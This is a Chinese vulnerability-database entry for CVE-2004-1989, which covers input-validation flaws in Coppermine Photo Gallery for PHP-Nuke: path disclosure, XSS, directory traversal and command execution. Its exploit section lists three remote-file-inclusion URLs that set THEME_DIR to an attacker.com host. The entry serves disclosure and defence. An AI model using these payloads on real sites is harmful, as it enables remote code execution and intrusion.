Coppermine Photo Gallery 多个输入验证漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1107914 漏洞类型 输入验证
发布时间 2004-04-30 更新时间 2006-09-28
CVE编号 CVE-2004-1989 CNNVD-ID CNNVD-200404-104
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/24075
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200404-104
|漏洞详情
CopperminePhotoGallery是一款基于WEB的图形库管理程序。CopperminePhotoGallery多处对用户提交的输入缺少充分过滤,远程攻击者可以利用这些漏洞执行任意命令,获得COOKIE数据,获得敏感文件路径等信息。具体问题如下:1、路径泄露:直接访问一些配置脚本,可获得敏感路径信息。2、跨站脚本攻击coppermine/docs/menu.inc.php'对用户提交URI缺少过滤,攻击者利用这个漏洞可获得敏感信息。3、任意目录浏览:如果有PHP-Nuke管理员权限,访问coppermine模块可绕过目录限制访问其他文件。4、任意命令执行:如果有PHP-Nuke管理员权限,访问coppermine模块,可在coppermine配置面板部分参数中输入SHELL命令,而以WEB进程权限执行。
|漏洞EXP
source: http://www.securityfocus.com/bid/10253/info
   
Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because the application fails to properly sanitize and validate user-supplied input before using it in dynamic content and in function calls that execute system commands.
   
Attackers may exploit these issues to steal cookie-based authentication credentials, map the application root directory of the affected application, execute arbitrary commands, and include arbitrary files. Other attacks are also possible.

http://www.example.com/nuke72/modules/coppermine/themes/default/theme.php?THEME_DIR=http://attacker.com 
http://www.example.com/nuke72/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=http://attacker.com 
http://www.example.com/nuke72/modules/coppermine/themes/maze/theme.php?THEME_DIR=http://attacker.com
|参考资料

来源:XF
名称:coppermine-multiple-file-include(16041)
链接:http://xforce.iss.net/xforce/xfdb/16041
来源:www.waraxe.us
链接:http://www.waraxe.us/index.php?modname=sa&id=26
来源:BID
名称:10253
链接:http://www.securityfocus.com/bid/10253
来源:OSVDB
名称:5912
链接:http://www.osvdb.org/5912
来源:SECTRACK
名称:1010001
链接:http://securitytracker.com/id?1010001
来源:SECUNIA
名称:11524
链接:http://secunia.com/advisories/11524
来源:BUGTRAQ
名称:20040502[waraxe-2004-SA#026-MultiplevulnerabilitiesinCopperminePhotoGalleryforPhpNuke]
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=108360247732014&w=2